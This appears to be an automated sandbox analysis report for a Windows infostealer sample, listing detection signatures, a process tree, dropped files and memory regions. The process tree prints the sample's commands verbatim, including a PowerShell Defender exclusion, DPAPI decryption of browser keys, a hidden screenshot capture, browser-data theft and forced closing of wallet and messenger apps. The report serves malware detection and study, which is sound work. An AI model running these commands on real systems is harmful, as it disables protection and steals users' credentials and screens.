Analysis

  • max time kernel
    150s
  • max time network
    134s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/07/2026, 04:30

General

  • Target
    2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
  • Size 43.2MB
  • Sample260710-e483xsc12m
  • SHA256 881d5c50e3a9ec406319d17477d0732e851dfa58077065276a9ef16eca4a111b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops desktop.ini file(s) 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Checks processor information in registry 2 TTPs 24 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Kills process with taskkill 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 42 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1392
    • C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe
      C:\Users\Admin\AppData\Local\Temp\2026-07-10_4faf0fdb2766ac5caef4b2396036e67a_byakugan_cobalt-strike_coinminer_glassworm_icedid_luca-s.exe C:\snapshot\Kynix_Bot\builds\c038d105\kynix.js --hidden
      2⤵
      • Drops desktop.ini file(s)
      • Checks processor information in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:5812
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4388
        • C:\Windows\system32\net.exe
          net session
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:5788
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 session
            5⤵
              PID:5916
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "netsh advfirewall show allprofiles state"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3152
          • C:\Windows\system32\netsh.exe
            netsh advfirewall show allprofiles state
            4⤵
            • Modifies Windows Firewall
            • Event Triggered Execution: Netsh Helper DLL
            PID:4272
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3040
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get displayName
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4580
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2776
          • C:\Windows\system32\reg.exe
            reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
            4⤵
            • Modifies registry key
            PID:1012
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "ipconfig /all"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1616
          • C:\Windows\system32\ipconfig.exe
            ipconfig /all
            4⤵
            • Gathers network information
            PID:2372
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "systeminfo"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:3640
          • C:\Windows\system32\systeminfo.exe
            systeminfo
            4⤵
            • Gathers system information
            PID:3468
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1783657880311.vbs""
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4932
          • C:\Windows\system32\cscript.exe
            cscript //nologo //B "C:\Users\Admin\AppData\Local\Temp\system_check_1783657880311.vbs"
            4⤵
              PID:3256
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "net session"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1728
            • C:\Windows\system32\net.exe
              net session
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2520
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 session
                5⤵
                  PID:704
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3100
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\system32os' -Force"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:1732
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait""
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4864
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe' -WorkingDirectory 'C:\Users\Admin\AppData\Local\Temp\system32os' -ArgumentList 'all kaakkak28288nddhhBDAAD8282ksksk' -WindowStyle Hidden -Wait"
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:5152
                • C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
                  "C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe" all kaakkak28288nddhhBDAAD8282ksksk
                  5⤵
                  • Executes dropped EXE
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:5380
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe"
                    6⤵
                      PID:408
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
                      6⤵
                        PID:828
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Steam.exe /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1888
                  • C:\Windows\system32\taskkill.exe
                    taskkill /IM Steam.exe /F
                    4⤵
                    • Kills process with taskkill
                    PID:5836
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM javaw.exe /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:5064
                  • C:\Windows\system32\taskkill.exe
                    taskkill /IM javaw.exe /F
                    4⤵
                    • Kills process with taskkill
                    PID:1860
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Exodus.exe /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3844
                  • C:\Windows\system32\taskkill.exe
                    taskkill /IM Exodus.exe /F
                    4⤵
                    • Kills process with taskkill
                    PID:3348
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAALOorCz4cMCpiRCcPKjUjyiVPx3WFE5HuubXLujWHkYfAAAAAA6AAAAAAgAAIAAAABBmVYF3MJXOxIYVhIFkM4E4yQx820WtSmb8OSSqwjepMAAAAIGD/7nX+9K/yv0wP3oXyme8mDExztwTQa6BgQ0rHzwoal1KbKdeKgRPgOMcziK86UAAAAC4cgkWKxTEzWr4iRdTXeF76/zquS6bWHSl3IvX3N5kSpOIaEeDpuv5VL50kGBbvHwDCCN9kCONXyxRpWxlWH7+');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1404
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAcAAAARwBvAG8AZwBsAGUAIABDAGgAcgBvAG0AZQAAABBmAAAAAQAAIAAAALOorCz4cMCpiRCcPKjUjyiVPx3WFE5HuubXLujWHkYfAAAAAA6AAAAAAgAAIAAAABBmVYF3MJXOxIYVhIFkM4E4yQx820WtSmb8OSSqwjepMAAAAIGD/7nX+9K/yv0wP3oXyme8mDExztwTQa6BgQ0rHzwoal1KbKdeKgRPgOMcziK86UAAAAC4cgkWKxTEzWr4iRdTXeF76/zquS6bWHSl3IvX3N5kSpOIaEeDpuv5VL50kGBbvHwDCCN9kCONXyxRpWxlWH7+');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:5036
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA1j5J8FFSxCPOPmjzWoZnTNhHZQDb4ZrDlP8hQ45ciCsAAAAADoAAAAACAAAgAAAAMtclq16a3vZJXe/1qbrJWEUsC7apq+xSi9VDv4jU60MwAAAAOYbGSQneUKkE+QK7a9cwcjyP8EbJ86dglb9Q9Ow0niiZQdbWcDNvSbokgQh7R2rDQAAAAFu7Yj/YJKQS6Z3WJH5PtHLrQiMfnQzIV9aGs/crFiQ0z9GSN2ckOrBx1SQeHt6XBq2KmqznngKna+KFlj2EIN8=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))""
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4000
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -NoProfile -ExecutionPolicy Bypass -Command "Add-Type -AssemblyName System.Security;$b=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAXVTDLqTA7Uil/Th7gGvyERAAAAAeAAAATQBpAGMAcgBvAHMAbwBmAHQAIABFAGQAZwBlAAAAEGYAAAABAAAgAAAA1j5J8FFSxCPOPmjzWoZnTNhHZQDb4ZrDlP8hQ45ciCsAAAAADoAAAAACAAAgAAAAMtclq16a3vZJXe/1qbrJWEUsC7apq+xSi9VDv4jU60MwAAAAOYbGSQneUKkE+QK7a9cwcjyP8EbJ86dglb9Q9Ow0niiZQdbWcDNvSbokgQh7R2rDQAAAAFu7Yj/YJKQS6Z3WJH5PtHLrQiMfnQzIV9aGs/crFiQ0z9GSN2ckOrBx1SQeHt6XBq2KmqznngKna+KFlj2EIN8=');$p=[System.Security.Cryptography.ProtectedData]::Unprotect($b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);[Console]::Out.Write([Convert]::ToBase64String($p))"
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4144
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();""
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4524
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $bounds = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds; $bitmap = New-Object System.Drawing.Bitmap $bounds.Width, $bounds.Height; $graphics = [System.Drawing.Graphics]::FromImage($bitmap); $graphics.CopyFromScreen($bounds.X, $bounds.Y, 0, 0, $bounds.Size); $memoryStream = New-Object System.IO.MemoryStream; $bitmap.Save($memoryStream, [System.Drawing.Imaging.ImageFormat]::Png); $bytes = $memoryStream.ToArray(); [System.Console]::OpenStandardOutput().Write($bytes, 0, $bytes.Length); $bitmap.Dispose(); $graphics.Dispose(); $memoryStream.Dispose();"
                    4⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    PID:4260
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /d /s /c "taskkill /IM Telegram.exe /F"
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4160
                  • C:\Windows\system32\taskkill.exe
                    taskkill /IM Telegram.exe /F
                    4⤵
                    • Kills process with taskkill
                    PID:5104
            • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
              "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
              1⤵
                PID:1128
              • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                1⤵
                  PID:4684

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      93gi0zpd0cr.zip

                      • Path C:\Users\Admin\AppData\Local\20c6a3b59c54b5ad\93gi0zpd0cr.zip
                      • Size 4.5MB
                      • SHA256 92aa3e2fff8b16f2f0bbceb0b77281a5b4c41cf99750697d556abd785150a309
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 dc2fda2ba56952fcf6db038c402d45e80aeb400a094f93699cc72347e0df8c9a
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 f6a30b6b07897f473e5131a130929d2aae64cab048d285b3622ff7dbcb4b15e6
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_3cwduarf.l5m.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3cwduarf.l5m.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      chromelevator.exe

                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\chromelevator.exe
                      • Size 2.1MB
                      • SHA256 d5abe59abf73ed705aa7bba798dc417525aec110f3af48cd01c2074e763b6e21
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      history.json

                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Edge\Default\history.json
                      • Size 126B
                      • SHA256 2eb489517d52f153acb1dc49a5ac626327f14578e9a05df89a7ddae43fc4e7c8
                      • MD5 SHA1 SHA512 TLSH

                      history.txt

                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Edge\Default\history.txt
                      • Size 153B
                      • SHA256 4e23612aee5f2690b53e28b0bd743ea57e50bd489e9d046b279068d305020d28
                      • MD5 SHA1 SHA512 TLSH

                      history.json

                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\dzn6qwxz.default-release\history.json
                      • Size 489B
                      • SHA256 50e93456521da9260e9690d50096bc4addcefaeb9fb17c0c45f0bb5e73a3957a
                      • MD5 SHA1 SHA512 TLSH

                      history.txt

                      • Path C:\Users\Admin\AppData\Local\Temp\system32os\output\Firefox\dzn6qwxz.default-release\history.txt
                      • Size 522B
                      • SHA256 6c888875b35893d0eb2b751eebd0242e08c8bab3a8d3a5828419c87212864c8a
                      • MD5 SHA1 SHA512 TLSH

                      system_check_1783657880311.vbs

                      • Path C:\Users\Admin\AppData\Local\Temp\system_check_1783657880311.vbs
                      • Size 216B
                      • SHA256 600663b0860f7c0f136c9a9fb273d878feea20ba12222e68742da5ff7d18ccb4
                      • MD5 SHA1 SHA512 TLSH

                      memory/1732-19-0x00000265DB260000-0x00000265DB26A000-memory.dmp

                      memory/1732-18-0x00000265DB300000-0x00000265DB3B2000-memory.dmp

                      memory/1732-17-0x00000265DB2E0000-0x00000265DB2FE000-memory.dmp

                      memory/1732-14-0x00000265DB270000-0x00000265DB292000-memory.dmp

                      memory/5036-45-0x000001A92C530000-0x000001A92C580000-memory.dmp